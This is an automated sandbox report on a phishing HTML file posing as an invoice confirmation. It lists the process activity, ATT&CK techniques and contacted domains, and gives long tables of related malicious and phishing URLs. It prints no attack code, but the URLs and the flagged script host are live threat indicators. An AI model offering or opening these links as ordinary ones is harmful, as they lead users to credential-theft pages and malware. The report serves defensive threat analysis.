Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm

HTTP Parser: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	unknown
annematt.l4r4.shop	185.23.253.5	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
www.google.com	142.250.185.228	true	false	unknown
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://annematt.l4r4.shop/origattachment.js	true		unknown
file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.67	s-part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.44	s-part-0016.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.23.253.5	annematt.l4r4.shop	United Kingdom	60914	TELECOMSCONSORTIUMLTDGB	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.16
192.168.2.5
192.168.2.13
192.168.2.23

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541492
Start date and time:	2024-10-24 22:08:19 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Inv Confirmation.htm
Detection:	MAL
Classification:	mal96.phis.winHTM@24/29@6/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .htm

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.131, 142.250.185.142, 173.194.76.84, 142.250.185.234, 34.104.35.123, 217.20.57.20, 142.250.186.106, 142.250.185.106, 142.250.74.202, 172.217.23.106, 142.250.184.202, 142.250.185.138, 172.217.18.10, 142.250.185.202, 172.217.18.106, 142.250.186.170, 142.250.185.74, 142.250.184.234, 172.217.16.202, 142.250.185.170, 216.58.206.74, 192.229.221.95, 142.250.185.131, 142.250.185.206
Excluded domains from analysis (whitelisted): logincdn.msauth.net, clients1.google.com, fs.microsoft.com, lgincdnmsftuswe2.azureedge.net, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, lgincdnmsftuswe2.afd.azureedge.net, clients.l.google.com, optimizationguide-pa.googleapis.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Inv Confirmation.htm

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://cswlawgroup.artoffice.cloud/	Get hash	malicious	Unknown	Browse
	https://onlinepdf-qrsharedfile.com/index.html#XYW5uaWUua3lwcmlhbm91QGxjYXR0ZXJ0b24uY29t	Get hash	malicious	HTMLPhisher	Browse
	https://t.ly/8Lgfk	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	Doc-Secure6033.pdf	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0 (1).eml	Get hash	malicious	Unknown	Browse
	https://view.flodesk.com/emails/671a6d1f7ce9f793bb70518a	Get hash	malicious	Unknown	Browse
	https://novisurvey.net/ns/n/z133i.aspx	Get hash	malicious	Unknown	Browse
	http://boulos-sharepoint.com	Get hash	malicious	HTMLPhisher	Browse
	https://u47751895.ct.sendgrid.net/ls/click?upn=u001.LUpianUM71xe7PV7wDA6i1kcuy38W249FfPzE-2Fn4iGArrL0MQBCUZHFEzmfBrwW7hf5h8aNQUml0OSIHqpXf0Hd-2FwQBg2gsGxKHK7PsY2xc-3DPya1_YT5LbHmSQ6soq50ixwpFbSYZshuq6-2FPFgRa8NDnR03IYhL-2F9Rsp4maHC7HKUeszLncLvtZaWCVsMwsguQ5-2FbgriKbvHymTrFFrqjql1V0tvMkZQvyA1xxy-2B6NtGFoUeUGIrvdabsXN8enx2k5c-2BvLXzm-2BRXmD29Cf33DbXC513Cwkuo46G2I7a1uwsANH8eVhz8r5XyLPneRi4ngixWtQkBEaLBBKkl5CzEPySNlMnqJuuWiTBlFswgUf9EX-2BEhUpqAvMFuAlKTpYcteS-2FjAegbPmUSDcSeBkfnhL6yUhTFHUFrxra-2BdIgnamsXKUUqu-2BC45G51EOfBd9qOCqWy3OeOC7KYj3-2FcaIfcOAM1Jkvyddtn3gwRC5w97RLza-2BBM2JcZLNzMYva4SJzBZv7RClCaMcjevyjP6ZFvlR0NECf5zAmWbPLmCUnefze8ZyTvnDqXVb3nrflSdnTlNxWfm617xjOrSoSu-2BVHZVqbE92ZodSyvWqgaCWZg0TMDZeq64M67nuH9ryo7I5u80SS081vnMThCYiPoN3JUoUliQPKbNY46GxAPyVhMs4qqZVi-2FFUtIGEycXziXytxfy6JCzAZ2sa7DZusc1RftLAVM4uJit-2FAhxM-2FK1sEHsKHKvs9o7uDMExZ5YqEBjrD2XHch-2BY6xwRGGg56MeC1Bpa72xAoR6DmInmiEX4j92yaROEh1-2FMsHdtSstN7zc8gxU7ETVWVMBRLf6m4dTRruSfSNaLUi9QLq9d7Qfe8VMdKN1j9FMGIYia88728BDNNxRTaT4nSNITRr9JPa4Z1K1vdUocdyCKNcYSZsN8yguI0-2FqNXUfWFuoxnz5MDqwufLzxub8Fw-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	http://lowes.mooo.com/index.php?search=4&d16852&morde=354-1256&lm=400100KWWT29761&sd=15&page=9u6rpKHD2TMFWFa#izRRKlsmoFgLg4jmhaU9	Get hash	malicious	Phisher	Browse
13.107.246.67	SecuriteInfo.com.Other.Malware-gen.26961.24680.xlsx	Get hash	malicious	Unknown	Browse
	https://8jkfw9cqp7ep.z13.web.core.windows.net/?zpbid=78432_55610c1d-9229-11ef-824f-03718b6de7bb#	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse
	EXTERNALRoger Moczygemba shared DIRECT MED CLINIC - CONFIDENTIAL with you.msg	Get hash	malicious	Unknown	Browse
	https://1drv.ms/o/c/3e563d3fb2a98d1c/Emlo5KUbYYNEvKtIF-7SS0EBYSeT3hOOGuv_MbeT-n2y4g?e=HPjqUn	Get hash	malicious	HtmlDropper	Browse
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	PayrolNotificationBenefit_.html	Get hash	malicious	Mamba2FA	Browse
	https://www.pumpproducts.com/goulds-lb0735te-centrifugal-booster-pump-3-4-hp-208-230-460-volts-3-phase-1-1-4-npt-suction-1-npt-discharge-18-gpm-max-176-ft-max-head-5-impeller-tefc-stainless-steel-pump-end-casing.html	Get hash	malicious	Unknown	Browse
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
13.107.246.44	https://t.ly/8Lgfk	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	PO 635614 635613_CQDM.html	Get hash	malicious	HTMLPhisher	Browse
	https://forsa.zyotina.com/	Get hash	malicious	Unknown	Browse
	https://docsend.com/view/gb9whc4k6gn6chkz&c=E,1,wGDGKBMueFLKpJs-qPSCh29y_I5pYyQPDuFeaCJFxrOAE1Kun3vTUMTaIbXig6FBfJSuG3tOPwokmZR5pHF_m4WM-RKKIiqLy4X55qIZUK1djA8,&typo=1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx	Get hash	malicious	Mamba2FA	Browse
	https://www.cyfirma.com/research/exploiting-document-templates-stego-campaign-deploying-remcos-rat-and-agent-tesla/	Get hash	malicious	Unknown	Browse
	9160074916_Payoff_Statement.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://constructionbybricco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPWEwRlNjRzQ9JnVpZD1VU0VSMTgwOTIwMjRVMTYwOTE4MjQ=N0123N%5BEMAIL%5D	Get hash	malicious	Mamba2FA	Browse
	Remittance copy.shtml	Get hash	malicious	HTMLPhisher	Browse
	Swift Payment 20241014839374.vbs	Get hash	malicious	Remcos	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0016.t-0009.t-msedge.net	https://t.ly/8Lgfk	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.44
	PO 635614 635613_CQDM.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
	https://forsa.zyotina.com/	Get hash	malicious	Unknown	Browse	13.107.246.44
	https://docsend.com/view/gb9whc4k6gn6chkz&c=E,1,wGDGKBMueFLKpJs-qPSCh29y_I5pYyQPDuFeaCJFxrOAE1Kun3vTUMTaIbXig6FBfJSuG3tOPwokmZR5pHF_m4WM-RKKIiqLy4X55qIZUK1djA8,&typo=1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.44
	https://cbmaterialhandling-dot-e19102a760e0e171ae4c33af96136.df.r.appspot.com/	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	13.107.246.44
	Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx	Get hash	malicious	Mamba2FA	Browse	13.107.246.44
	https://www.cyfirma.com/research/exploiting-document-templates-stego-campaign-deploying-remcos-rat-and-agent-tesla/	Get hash	malicious	Unknown	Browse	13.107.246.44
	9160074916_Payoff_Statement.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.44
	https://constructionbybricco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPWEwRlNjRzQ9JnVpZD1VU0VSMTgwOTIwMjRVMTYwOTE4MjQ=N0123N%5BEMAIL%5D	Get hash	malicious	Mamba2FA	Browse	13.107.246.44
	Remittance copy.shtml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
s-part-0017.t-0009.t-msedge.net	https://t.ly/8Lgfk	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	SecuriteInfo.com.Other.Malware-gen.26961.24680.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://u47751895.ct.sendgrid.net/ls/click?upn=u001.LUpianUM71xe7PV7wDA6i1kcuy38W249FfPzE-2Fn4iGArrL0MQBCUZHFEzmfBrwW7hf5h8aNQUml0OSIHqpXf0Hd-2FwQBg2gsGxKHK7PsY2xc-3DPya1_YT5LbHmSQ6soq50ixwpFbSYZshuq6-2FPFgRa8NDnR03IYhL-2F9Rsp4maHC7HKUeszLncLvtZaWCVsMwsguQ5-2FbgriKbvHymTrFFrqjql1V0tvMkZQvyA1xxy-2B6NtGFoUeUGIrvdabsXN8enx2k5c-2BvLXzm-2BRXmD29Cf33DbXC513Cwkuo46G2I7a1uwsANH8eVhz8r5XyLPneRi4ngixWtQkBEaLBBKkl5CzEPySNlMnqJuuWiTBlFswgUf9EX-2BEhUpqAvMFuAlKTpYcteS-2FjAegbPmUSDcSeBkfnhL6yUhTFHUFrxra-2BdIgnamsXKUUqu-2BC45G51EOfBd9qOCqWy3OeOC7KYj3-2FcaIfcOAM1Jkvyddtn3gwRC5w97RLza-2BBM2JcZLNzMYva4SJzBZv7RClCaMcjevyjP6ZFvlR0NECf5zAmWbPLmCUnefze8ZyTvnDqXVb3nrflSdnTlNxWfm617xjOrSoSu-2BVHZVqbE92ZodSyvWqgaCWZg0TMDZeq64M67nuH9ryo7I5u80SS081vnMThCYiPoN3JUoUliQPKbNY46GxAPyVhMs4qqZVi-2FFUtIGEycXziXytxfy6JCzAZ2sa7DZusc1RftLAVM4uJit-2FAhxM-2FK1sEHsKHKvs9o7uDMExZ5YqEBjrD2XHch-2BY6xwRGGg56MeC1Bpa72xAoR6DmInmiEX4j92yaROEh1-2FMsHdtSstN7zc8gxU7ETVWVMBRLf6m4dTRruSfSNaLUi9QLq9d7Qfe8VMdKN1j9FMGIYia88728BDNNxRTaT4nSNITRr9JPa4Z1K1vdUocdyCKNcYSZsN8yguI0-2FqNXUfWFuoxnz5MDqwufLzxub8Fw-3D-3D	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://na4.docusign.net/Signing/EmailStart.aspx?a=c1ee55e8-d253-4731-bf85-5377494446fc&etti=24&acct=c49653d8-ee55-4f22-afc9-287006261d0b&er=251e9446-3fcb-4714-8d01-feee559625a8	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://8jkfw9cqp7ep.z13.web.core.windows.net/?zpbid=78432_55610c1d-9229-11ef-824f-03718b6de7bb#	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	13.107.246.45
	SecuriteInfo.com.Trojan.Siggen29.57841.15930.23271.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
	https://1drv.ms/o/c/76471f3776916fd0/EomjtsItbi9Ag0bnzrJDx08BhxVWepFoAXrJFoYeR9IZ0A?e=5%3aEFCh5b&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://egift.activationshub.com/gift-card/view/8lPFUrjq1LGzg7JHwS8hJJRdL/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
s-part-0039.t-0009.t-msedge.net	SecuriteInfo.com.Other.Malware-gen.26961.24680.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.67
	https://8jkfw9cqp7ep.z13.web.core.windows.net/?zpbid=78432_55610c1d-9229-11ef-824f-03718b6de7bb#	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	13.107.246.67
	EXTERNALRoger Moczygemba shared DIRECT MED CLINIC - CONFIDENTIAL with you.msg	Get hash	malicious	Unknown	Browse	13.107.246.67
	https://1drv.ms/o/c/3e563d3fb2a98d1c/Emlo5KUbYYNEvKtIF-7SS0EBYSeT3hOOGuv_MbeT-n2y4g?e=HPjqUn	Get hash	malicious	HtmlDropper	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.67
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.67
	https://vmcsolvo.prismhrperformance.com/Login.aspx?AppraisalId=6724	Get hash	malicious	Phisher	Browse	13.107.246.67
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.67
	PayrolNotificationBenefit_.html	Get hash	malicious	Mamba2FA	Browse	13.107.246.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	52.181.233.52
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	21.215.245.118
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	21.157.124.152
	https://t.ly/8Lgfk	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.45
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	22.254.231.213
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	21.43.25.174
	SecuriteInfo.com.Other.Malware-gen.26961.24680.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.67
	phish_alert_sp2_2.0.0.0 (1).eml	Get hash	malicious	Unknown	Browse	52.113.194.132
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	20.19.238.38
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	21.224.113.38
MICROSOFT-CORP-MSN-AS-BLOCKUS	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	52.181.233.52
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	21.215.245.118
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	21.157.124.152
	https://t.ly/8Lgfk	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.45
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	22.254.231.213
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	21.43.25.174
	SecuriteInfo.com.Other.Malware-gen.26961.24680.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.67
	phish_alert_sp2_2.0.0.0 (1).eml	Get hash	malicious	Unknown	Browse	52.113.194.132
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	20.19.238.38
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	21.224.113.38
MICROSOFT-CORP-MSN-AS-BLOCKUS	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	52.181.233.52
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	21.215.245.118
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	21.157.124.152
	https://t.ly/8Lgfk	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.45
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	22.254.231.213
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	21.43.25.174
	SecuriteInfo.com.Other.Malware-gen.26961.24680.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.67
	phish_alert_sp2_2.0.0.0 (1).eml	Get hash	malicious	Unknown	Browse	52.113.194.132
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	20.19.238.38
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	21.224.113.38
TELECOMSCONSORTIUMLTDGB	yUmz1y2VlN.dll	Get hash	malicious	Wannacry	Browse	185.23.254.146

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://cswlawgroup.artoffice.cloud/	Get hash	malicious	Unknown	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	https://onlinepdf-qrsharedfile.com/index.html#XYW5uaWUua3lwcmlhbm91QGxjYXR0ZXJ0b24uY29t	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	https://t.ly/8Lgfk	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	Doc-Secure6033.pdf	Get hash	malicious	Unknown	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	https://novisurvey.net/ns/n/z133i.aspx	Get hash	malicious	Unknown	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	https://u47751895.ct.sendgrid.net/ls/click?upn=u001.LUpianUM71xe7PV7wDA6i1kcuy38W249FfPzE-2Fn4iGArrL0MQBCUZHFEzmfBrwW7hf5h8aNQUml0OSIHqpXf0Hd-2FwQBg2gsGxKHK7PsY2xc-3DPya1_YT5LbHmSQ6soq50ixwpFbSYZshuq6-2FPFgRa8NDnR03IYhL-2F9Rsp4maHC7HKUeszLncLvtZaWCVsMwsguQ5-2FbgriKbvHymTrFFrqjql1V0tvMkZQvyA1xxy-2B6NtGFoUeUGIrvdabsXN8enx2k5c-2BvLXzm-2BRXmD29Cf33DbXC513Cwkuo46G2I7a1uwsANH8eVhz8r5XyLPneRi4ngixWtQkBEaLBBKkl5CzEPySNlMnqJuuWiTBlFswgUf9EX-2BEhUpqAvMFuAlKTpYcteS-2FjAegbPmUSDcSeBkfnhL6yUhTFHUFrxra-2BdIgnamsXKUUqu-2BC45G51EOfBd9qOCqWy3OeOC7KYj3-2FcaIfcOAM1Jkvyddtn3gwRC5w97RLza-2BBM2JcZLNzMYva4SJzBZv7RClCaMcjevyjP6ZFvlR0NECf5zAmWbPLmCUnefze8ZyTvnDqXVb3nrflSdnTlNxWfm617xjOrSoSu-2BVHZVqbE92ZodSyvWqgaCWZg0TMDZeq64M67nuH9ryo7I5u80SS081vnMThCYiPoN3JUoUliQPKbNY46GxAPyVhMs4qqZVi-2FFUtIGEycXziXytxfy6JCzAZ2sa7DZusc1RftLAVM4uJit-2FAhxM-2FK1sEHsKHKvs9o7uDMExZ5YqEBjrD2XHch-2BY6xwRGGg56MeC1Bpa72xAoR6DmInmiEX4j92yaROEh1-2FMsHdtSstN7zc8gxU7ETVWVMBRLf6m4dTRruSfSNaLUi9QLq9d7Qfe8VMdKN1j9FMGIYia88728BDNNxRTaT4nSNITRr9JPa4Z1K1vdUocdyCKNcYSZsN8yguI0-2FqNXUfWFuoxnz5MDqwufLzxub8Fw-3D-3D	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	http://lowes.mooo.com/index.php?search=4&d16852&morde=354-1256&lm=400100KWWT29761&sd=15&page=9u6rpKHD2TMFWFa#izRRKlsmoFgLg4jmhaU9	Get hash	malicious	Phisher	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	https://chapelet-mariae.com.pl/qgxPm/	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	EBalcao_ysx.vbs	Get hash	malicious	Unknown	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45
	https://tronlkam8s2.z13.web.core.windows.net	Get hash	malicious	TechSupportScam	Browse	4.175.87.197 52.149.20.212 184.28.90.27 13.107.246.45

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

